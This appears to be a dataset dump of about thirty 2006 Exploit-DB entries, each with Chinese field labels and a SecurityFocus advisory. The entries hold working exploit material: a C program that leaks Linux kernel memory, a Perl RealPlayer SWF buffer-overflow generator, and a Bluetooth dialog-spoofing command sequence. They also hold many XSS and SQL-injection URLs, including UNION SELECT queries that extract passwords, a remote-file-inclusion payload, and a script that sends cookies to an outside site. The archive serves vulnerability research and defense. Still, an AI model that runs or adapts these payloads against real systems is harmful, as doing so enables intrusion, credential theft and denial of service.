QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.4.x/2.5.x/2.6.x - 'Sockaddr_In.Sin_Zero' Kernel Memory Disclosure EDB-ID: 27461 CVE: 2006-1342 类型: LOCAL 平台: LINUX 发布日期: 2006-03-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/17203/info

The Linux kernel is affected by local memory-disclosure vulnerabilities. These issues are due to the kernel's failure to properly clear previously used kernel memory before returning it to local users.

These issues allow an attacker to read kernel memory and potentially gather information to use in further attacks.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <linux/netfilter_ipv4.h>

void
dump(const unsigned char *p, unsigned l)
{
  printf("data:");
  while (l > 0) {
    printf(" %02x", *p);
    ++p; --l;
  }
  printf("\n");
}

int
main(int argc, char **argv)
{
  int port;
  int ls, as, r, one;
  struct sockaddr_in sa;
  socklen_t sl;

  if (argc != 2 || (port = atoi(argv[1])) == 0) {
    fprintf(stderr, "usage: bug PORT\n");
    return (1);
  }

  ls = socket(PF_INET, SOCK_STREAM, 0);
  if (ls == -1) {
    perror("ls = socket");
    return (1);
  }
  one = 1;
  r = setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  if (r == -1) {
    perror("setsockopt(ls)");
    return (1);
  }
  sa.sin_family = PF_INET;
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(port);
  r = bind(ls, (struct sockaddr *) &sa, sizeof(sa));
  if (r == -1) {
    perror("bind(ls)");
    return (1);
  }
  r = listen(ls, 1);
  if (r == -1) {
    perror("listen(ls)");
    return (1);
  }

  sl = sizeof(sa);
  as = accept(ls, (struct sockaddr *) &sa, &sl);
  if (as == -1) {
    perror("accept(ls)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  sl = sizeof(sa);
  r = getsockname(as, (struct sockaddr *) &sa, &sl);
  if (r == -1) {
    perror("getsockname(as)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  sl = sizeof(sa);
  r = getsockopt(as, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *) &sa, &sl);
  if (r == -1) {
    perror("getsockname(as)");
    return (1);
  }
  dump((unsigned char *) &sa, sizeof(sa));

  return (0);
} URL: https://www.exploit-db.com/exploits/27461
标题: EZHomePagePro 1.5 - 'users_profiles.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27472 CVE: 2006-1413 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17236/info
   
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_profiles.asp?page=user&uname=r0t&usid=2&aname=&adid=[XSS]

/users/users_profiles.asp?page=user&uname=r0t&usid=2&aname=[XSS] URL: https://www.exploit-db.com/exploits/27472
标题: EZHomePagePro 1.5 - 'users_calendar.asp?page' Cross-Site Scripting EDB-ID: 27471 CVE: 2006-1413 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/17236/info
  
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_calendar.asp?view=yes&action=write&uname=r0t&usid=2&date=3/2/2006&sdate=3/2/2006&page=[XSS] URL: https://www.exploit-db.com/exploits/27471
标题: IBM Tivoli Business Systems Manager 3.1 - APWC_Win_Main.jsp Cross-Site Scripting EDB-ID: 27463 CVE: 2006-1384 类型: WEBAPPS 平台: JSP 发布日期: 2006-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/17210/info

IBM Tivoli Business Systems Manager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com:9443/TbsmWebConsole/help/en/jsp/apwc_win_main.jsp?skin=[XSS] URL: https://www.exploit-db.com/exploits/27463
标题: VihorDesign - 'index.php' Cross-Site Scripting EDB-ID: 27465 CVE: 2006-1496 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17226/info

VihorDesign is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27465
标题: VihorDesign - 'index.php' Remote File Inclusion EDB-ID: 27466 CVE: 2006-1497 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17227/info

VihorDesign is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/index.php?page=evilcode.txt?&cmd=id URL: https://www.exploit-db.com/exploits/27466
标题: Motorola - BlueTooth Interface Dialog Spoofing EDB-ID: 27454 CVE: 2006-1367 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17190/info

Motorola mobile handsets are prone to a dialog-spoofing vulnerability when accepting Bluetooth communications. An attacker could exploit this issue to trick a user into granting them AT access to the device. The attacker could then gather confidential information from the handset.

Motorola PEBL and V600 handsets are vulnerable to this issue; other devices may also be affected.

# hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'` 
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup URL: https://www.exploit-db.com/exploits/27454
标题: WinHKI 1.4/1.5/1.6 - Directory Traversal EDB-ID: 27450 CVE: 2006-1323 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/17153/info

Reportedly, an attacker can carry out directory-traversal attacks. These issues present themselves when the application processes malformed archives. 

A successful attack can allow the attacker to place potentially malicious files and overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27450.zip URL: https://www.exploit-db.com/exploits/27450
标题: Verisign MPKI 6.0 - 'Haydn.exe' Cross-Site Scripting EDB-ID: 27451 CVE: 2006-1344 类型: WEBAPPS 平台: CGI 发布日期: 2006-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17170/info

MPKI 6.0 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to spoof the results of certificate-validation operations in the browser of an unsuspecting user with the same certificate trust level as that of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

https://www.example.com/cgi-bin/haydn.exe?VHTML_FILE=test<body>

onload=javascript:alert('fixme!')>file_name</body>.htm URL: https://www.exploit-db.com/exploits/27451
标题: CoMoblog 1.0 - 'Img.php' Cross-Site Scripting EDB-ID: 27459 CVE: 2006-1377 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/17201/info

CoMoblog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/img.php?i=[CODE] URL: https://www.exploit-db.com/exploits/27459
标题: 1WebCalendar 4.0 - '/news/newsView.cfm?NewsID' SQL Injection EDB-ID: 27456 CVE: 2006-1372 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17193/info
 
1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/news/newsView.cfm?NewsID=[code] URL: https://www.exploit-db.com/exploits/27456
标题: 1WebCalendar 4.0 - 'mainCal.cfm' SQL Injection EDB-ID: 27457 CVE: 2006-1372 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17193/info
  
1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/mainCal.cfm?=[code] URL: https://www.exploit-db.com/exploits/27457
标题: phpWebSite 0.8.2/0.8.3 - 'article.php?sid' SQL Injection EDB-ID: 27449 CVE: 2006-1330 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17150/info
 
phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
Versions 0.83 and prior are vulnerable.

http://www.example.com/article.php?sid=[sql] URL: https://www.exploit-db.com/exploits/27449
标题: EasyMoblog 0.5 - 'Img.php' Cross-Site Scripting EDB-ID: 27458 CVE: 2006-1377 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/17199/info

EasyMoblog is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/img.php?i=[CODE] URL: https://www.exploit-db.com/exploits/27458
标题: phpWebSite 0.8.2/0.8.3 - 'friend.php?sid' SQL Injection EDB-ID: 27448 CVE: 2006-1330 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/17150/info

phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Versions 0.83 and prior are vulnerable.

http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1 URL: https://www.exploit-db.com/exploits/27448
标题: MusicBox 2.3 - 'index.php' SQL Injection EDB-ID: 27445 CVE: 2005-4500 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17149/info

MusicBox is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/music/index.php?action=top&show=5&type=[SQL] 

http://www.example.com/music/index.php?action=top&show=[SQL]&type=Artists URL: https://www.exploit-db.com/exploits/27445
标题: MusicBox 2.3 - 'index.php' Cross-Site Scripting EDB-ID: 27446 CVE: 2006-1349 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17149/info
 
MusicBox is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/music/index.php?id='><script>alert(document.cookie)</script> 

http://www.example.com/music/index.php?action=top&show=5&type='><script>alert(d ocument.cookie)</script> 

http://www.example.com/music/index.php?action=top&show='><script>alert(document .cookie)</script>&type=Artists URL: https://www.exploit-db.com/exploits/27446
标题: MusicBox 2.3 - 'cart.php' Cross-Site Scripting EDB-ID: 27447 CVE: 2006-1349 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17149/info
  
MusicBox is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/music/cart/cart.php?message1='><script>alert(document.cookie) </script> 

http://www.example.com/music/cart/cart.php?message='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27447
标题: RealNetworks (Multiple Products) - Multiple Buffer Overflow Vulnerabilities EDB-ID: 27460 CVE: 2006-0323 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/17202/info

Various RealNetworks products are prone to multiple buffer-overflow vulnerabilities.

These issues can result in memory corruption and facilitate arbitrary code execution. A successful attack can allow remote attackers to execute arbitrary code in the context of the application to gain unauthorized access.

#!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE="egg.swf";
my $header="\x46\x57\x53\x05\xCF\x00\x00\x00\x60";

my $endheader="\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01".
       "\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02".
       "\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00".
              "\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40".
       "\x00\x00\x00";


open(EGG, ">$EGGFILE") or die "ERROR:$EGGFILE\n";
print EGG $header;

for ($i = 0; $i < 135; $i++) {
$buffer.= "\x90";
}

print EGG $buffer;
print EGG $endheader;
close(EGG); URL: https://www.exploit-db.com/exploits/27460
标题: 1WebCalendar 4.0 - 'viewEvent.cfm?EventID' SQL Injection EDB-ID: 27455 CVE: 2006-1372 类型: WEBAPPS 平台: CFM 发布日期: 2006-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/17193/info

1WebCalendar is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampe.com/viewEvent.cfm?EventID=[code] URL: https://www.exploit-db.com/exploits/27455
标题: F5 Firepass 4100 SSL VPN - Cross-Site Scripting EDB-ID: 27452 CVE: 2006-1357 类型: REMOTE 平台: HARDWARE 发布日期: 2006-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/17175/info

FirePass 4100 SSL VPN is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

https://www.example.com/my.support.php3?c=1&s=username</title><img src=http://www.example.com/EXPLOIT.JS>&lang=en&charset=iso-8859-1&uilangchar=en.iso-8859-1 URL: https://www.exploit-db.com/exploits/27452
标题: Woltlab Burning Board 2.3.4 - 'Class_DB_MySQL.php' Cross-Site Scripting EDB-ID: 27444 CVE: 2006-1324 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17147/info

Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/filebase_redirect.php?fid='<script>location.href='http://yoursite.com/xss.php?cook='+escape(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27444
标题: Invision Power Board (IP.Board) 2.0.4 - Help Action 'HID' Cross-Site Scripting EDB-ID: 27441 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
     
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Help&CODE=01&HID='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27441
标题: Invision Power Board (IP.Board) 2.0.4 - 'index.php?st' Cross-Site Scripting EDB-ID: 27437 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
 
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?showtopic=1&st='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27437
标题: Extcalendar 1.0 - Cross-Site Scripting EDB-ID: 27443 CVE: 2006-1336 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17146/info

ExtCalendar is prone to four cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/calendar.php?op=cal&month=3&year="><script>alert(/Soot/)</script> 

http://www.example.com/path/calendar.php?op=cal&month="><script>alert(/Soot/)</script>&year=2006 

http://www.example.com/path/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next="><script>alert(/Soot/)</script> 

http://www.example.com/path/calendar.php?op=day&ask=nd&da=28&mo=3&ye=2006&next=2&prev="><script>alert(/Soot/)</script> URL: https://www.exploit-db.com/exploits/27443
标题: Invision Power Board (IP.Board) 2.0.4 - Calendar Action Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27438 CVE: 2006-1326 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17144/info
  
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=calendar&code=birthdays&y=[any year]&m='><script>alert(document.cookie)</script>&d=[any day]
http://www.example.com/forum/index.php?act=calendar&code=birthdays&y='><script>alert(document.cookie)</script>&m=[any month]&d=[any day]
http://www.example.com/forum/index.php?act=calendar&code=birthdays&y=[any year]&m=[any month]&d='><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27438
标题: Microsoft Internet Explorer 5.0.1 - Script Action Handler Buffer Overflow EDB-ID: 27433 CVE: 2006-1245 类型: DOS 平台: WINDOWS 发布日期: 2006-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/17131/info

Microsoft Internet Explorer is susceptible to a remote buffer-overflow vulnerability in 'MSHTML.DLL'. The application fails to properly bounds-check user-supplied input data before copying it into an insufficiently sized memory buffer.

Remote attackers may exploit this issue to crash affected web browsers. Remote code execution may also be possible, but this has not been confirmed.

Internet Explorer 6 is vulnerable to this issue; other versions may also be affected.

The following proof of concept is available:

<script>
for(s='<a onclick=',i=0;i<8||(document.write(s+'>'));i++)s+=s;
</script> URL: https://www.exploit-db.com/exploits/27433